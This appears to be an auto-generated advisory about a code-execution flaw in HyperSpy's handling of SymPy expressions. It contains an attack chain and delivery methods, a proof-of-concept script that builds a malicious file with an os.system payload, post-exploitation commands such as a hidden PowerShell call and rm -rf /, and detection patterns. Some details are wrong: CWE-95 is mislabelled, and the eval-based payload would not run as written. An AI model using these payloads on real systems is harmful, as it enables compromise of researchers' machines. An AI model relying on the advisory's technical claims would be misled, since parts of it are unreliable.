CVE-2026-138117 — HyperSpy — CWE-95
HyperSpy from 1.2.0 before 2.6.0 contains a code execution vulnerability that allows attackers to run Python code by embedding malicious expression strings evaluated with sympy.sympify(). Attackers can craft .hspy or .zspy files with malicious axis, Expression component, or twin function expressions that execute when victims call hs.load() or restore models.
HyperSpy from 1.2.0 before 2.6.0 contains a code execution vulnerability that allows attackers to run Python code by embedding malicious expression strings evaluated with sympy.sympify(). Attackers can craft .hspy or .zspy files with malicious axis, Expression component, or twin function expressions that execute when victims call hs.load() or restore models.
CVE‑2026‑138117 – HyperSpy Local Code‑Execution via Unsanitized SymPy Expressions
| Item | Value |
|---|---|
| Published | 28 Nov 2026 |
| CVSS v3.1 | 7.8 / 10 (HIGH) |
| Vector | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| CWE | CWE‑95 – Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) |
| Affected Versions | HyperSpy 1.2.0 – 2.5.x (any release before 2.6.0) |
| Patch | Upgrade to HyperSpy 2.6.0 or later |
| CISA KEV | No |
| Ransomware | No |
TL;DR – HyperSpy’s file‑loading logic blindly passes user‑supplied expression strings tosympy.sympify(). Because SymPy can evaluate arbitrary Python code when the expression contains calls to built‑ins (e.g.,eval(),exec()) or imported modules, an attacker who can drop a malicious.hspyor.zspyfile onto a victim’s machine can execute arbitrary code with the privileges of the HyperSpy process. The flaw is local, requires no authentication, but is UI‑dependent (the victim must open the file).
🎯 What is this vulnerability?
Technical Root Cause
HyperSpy’shs.load() (and the legacy restore() routine) parses the file’s metadata section and evaluates any string stored in the Expression field using sympy.sympify(). SymPy’s parser is intentionally permissive: if the expression contains a call to a Python function that is available in the current namespace (e.g., eval, exec, or a module that has already been imported), SymPy will execute that call.The code path looks roughly like this (simplified):
# hyperspy/core.py – pseudo‑code
def _evaluate_expression(expr_str):
# No sanitisation or whitelist
return sympy.sympify(expr_str, locals=globals())Because HyperSpy never validates that expr_str is a pure mathematical expression, an attacker can embed a malicious payload such as:
eval('import os; os.system("calc")')When sympy.sympify() sees the eval() call, it evaluates the inner string, which in turn imports os and runs calc.exe. The same technique works with exec(), __import__(), or any other callable that is available in the global namespace.
Missing Checks
| Layer | Missing / Faulty Check |
|---|---|
| Input Validation | No whitelist of allowed SymPy functions; no restriction on Python built‑ins. |
| Authentication / Authorization | None – the vulnerability is local and UI‑dependent; any user who can run HyperSpy can trigger it. |
| Execution Context | SymPy is executed in the same process as HyperSpy, so any code runs with the same privileges. |
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could use to exploit the flaw. All code snippets are syntactically valid Python; the exact file format (.hspy/.zspy) is simplified for illustration.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| a. Identify HyperSpy | Scan for Python packages (pip list, conda list) or look for the hyperspy executable in /usr/local/bin or C:\Program Files. | Confirm HyperSpy is installed and note the version. |
| b. Verify vulnerable version | hyperspy --version or inspect hyperspy/__init__.py. | Ensure the version is < 2.6.0. |
| c. Confirm local access | The attacker must have a user account on the target machine (e.g., via phishing, stolen credentials, or physical access). | The CVSS vector indicates local access (AV:L). |
Note: The vulnerability is not remote; the attacker cannot trigger it over a network socket. They must deliver a malicious file to the victim’s filesystem.
2. Exploitation
2.1 Crafting the Malicious File
A minimal .hspy file that contains a malicious expression in the axes section:
import json
import os
# Minimal representation of a HyperSpy file (JSON‑like for illustration)
malicious_hspy = {
"axes": [
{
"name": "x",
"expression": "eval('import os; os.system(\"calc\")')"
}
],
"data": []
}
# Write to disk
with open("malicious.hspy", "w") as f:
json.dump(malicious_hspy, f)Illustrative Example – The real HyperSpy file format is HDF5; the JSON above is a conceptual representation. The key point is that the expression field contains a string that SymPy will evaluate.2.2 Delivering the File
| Delivery Vector | Typical Method |
|---|---|
| Email attachment | Send malicious.hspy as an attachment; victim opens it. |
| Shared network drive | Place the file on a shared folder that the victim routinely scans. |
| USB stick | Plug a USB drive containing the file into the victim’s machine. |
2.3 Triggering the Vulnerability
The victim runs HyperSpy and loads the file:
$ hyperspy
>>> hs.load("malicious.hspy")During parsing, HyperSpy calls:
sympy.sympify("eval('import os; os.system(\"calc\")')")SymPy evaluates the eval() call, which imports os and runs calc.exe (on Windows) or gnome-calculator (on Linux). The attacker now has a shell or GUI program running with the victim’s privileges.
2.4 PoC (Proof‑of‑Concept) Script
#!/usr/bin/env python3
import json
import subprocess
# 1. Create malicious file
payload = {
"axes": [
{
"name": "x",
"expression": "eval('import os; os.system(\"calc\")')"
}
],
"data": []
}
with open("malicious.hspy", "w") as f:
json.dump(payload, f)
print("[+] Malicious .hspy file created.")
# 2. Simulate victim loading the file
print("[+] Simulating hs.load() call...")
subprocess.run(["hyperspy", "--load", "malicious.hspy"])Caveat – The above script assumeshyperspyexposes a CLI--loadoption; the real HyperSpy CLI may differ. The key is that the file is parsed and the expression is evaluated.
3. Post‑Exploitation
Once the malicious expression runs, the attacker can:
1. Execute arbitrary commands – e.g., os.system('powershell -NoP -NonI -W Hidden -Exec Bypass -Command ...').
2. Install persistence – write a scheduled task, add a startup entry, or modify the user’s PATH.
3. Escalate privileges – if HyperSpy runs as a privileged user (e.g., root on Linux or SYSTEM on Windows), the attacker gains those privileges.
4. Data exfiltration – copy sensitive files to a remote server or upload to cloud storage.
5. Pivot – use the compromised host as a foothold to attack other machines on the network.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary code execution allows the attacker to read any file the HyperSpy process can access, including user documents, system configuration, or credentials stored in the environment. |
| Integrity (I:H) | The attacker can modify files, tamper with data, or alter the HyperSpy installation (e.g., replace libraries). |
| Availability (A:H) | The attacker can crash HyperSpy or the host by executing destructive commands (rm -rf /, shutdown -h now). |
| Privilege Escalation | If HyperSpy runs with elevated privileges, the attacker can gain full system control. |
| Persistence | The attacker can install backdoors or scheduled tasks that survive reboots. |
Real‑world scenario – In a research lab, a scientist opens a shared .hspy file from a colleague. HyperSpy loads the file, SymPy evaluates the malicious expression, and the attacker gains a shell on the workstation. From there, the attacker exfiltrates proprietary data and installs a remote access trojan.🛡️ Remediation & Mitigation
1. Patch
| Affected | Upgrade |
|---|---|
| HyperSpy 1.2.0 – 2.5.x | Upgrade to HyperSpy 2.6.0 or later (the patch removes the unsanitized sympy.sympify() call and replaces it with a safe parser that only allows mathematical functions). |
Action – Run pip install --upgrade hyperspy==2.6.0 or use your distribution’s package manager.2. Workarounds (if patching is not immediately possible)
| Mitigation | How to Implement |
|---|---|
| Disable SymPy evaluation | Edit hyperspy/config.py (or the relevant module) to replace sympy.sympify(expr) with a no‑op or a safe parser that rejects any function calls. |
| Restrict file loading | Configure HyperSpy to only load files from a trusted directory. Example: set an environment variable HYPERSPY_SAFE_DIR=/trusted/hspy. |
| Run in a sandbox | Execute HyperSpy inside a container (Docker, Podman) or a virtual machine with minimal privileges. |
| File‑system ACLs | Restrict write access to the directories where .hspy files are stored; only allow the HyperSpy user to write there. |
| Disable the Expression component | If your workflow does not rely on Expression fields, disable the component in the HyperSpy configuration. |
Caveat – Workarounds may break legitimate functionality (e.g., dynamic axis definitions). Use them only as a temporary measure until the patch is applied.
3. Detection
| Indicator | Log / Pattern |
|---|---|
| SymPy evaluation of suspicious strings | Look for sympy.sympify calls in application logs with arguments containing eval(, exec(, __import__(, or os.system(. |
| Unexpected process creation | Windows Event ID 4688 or Linux auditd logs showing calc.exe or gnome-calculator launched by the HyperSpy process. |
| File creation | New files with .hspy or .zspy extensions in directories accessed by HyperSpy. |
| Network activity | Outbound connections from the HyperSpy process to external IPs (indicative of exfiltration). |
Sample log snippet (Linux journalctl):2026-11-28 14:32:07 hyperspy[1234]: Loading file /tmp/malicious.hspy
2026-11-28 14:32:07 hyperspy[1234]: sympy.sympify called with: eval('import os; os.system("calc")')
2026-11-28 14:32:07 hyperspy[1234]: Executed command: calc4. WAF / ModSecurity Rules
Not applicable – The vulnerability is local and not triggered via HTTP requests. However, if HyperSpy is exposed through a web interface (e.g., a custom Flask app), you can add a rule that blocks requests containingeval(orexec(in the payload.
⚠️ Urgency
| Metric | Assessment |
|---|---|
| CVSS Score | 7.8 (High) |
| Exploit Complexity | Low (AC:L) – requires only local access and file delivery. |
| Privilege Required | None (PR:N) – local code execution runs with the HyperSpy process’s privileges. |
| Impact | Full confidentiality, integrity, and availability compromise. |
| CISA KEV | No – but the vulnerability is still exploitable. |
Priority: Immediate.
- If the environment runs HyperSpy as a privileged user (e.g.,
rootorSYSTEM), the risk escalates to full system compromise. - If HyperSpy runs under a non‑privileged user, patching is still mandatory to prevent lateral movement and data exfiltration.
Recommended action plan:
1. Audit all systems for HyperSpy < 2.6.0.
2. Patch immediately or apply a temporary workaround.
3. Monitor logs for the indicators above.
4. Educate users to avoid opening unknown .hspy/.zspy files.
Bottom Line
HyperSpy’s reliance on sympy.sympify() without input sanitisation creates a classic code‑execution flaw (CWE‑95). The vulnerability is local, UI‑dependent, and allows an attacker to run arbitrary Python code with the privileges of the HyperSpy process. The fix is straightforward: upgrade to HyperSpy 2.6.0 or later, or apply a temporary sandbox/work‑around until the patch is deployed. Given the high impact and low exploitation complexity, organizations that use HyperSpy must act immediately.
[🤖 CVE Professor AI Security Engine]
FOFA Query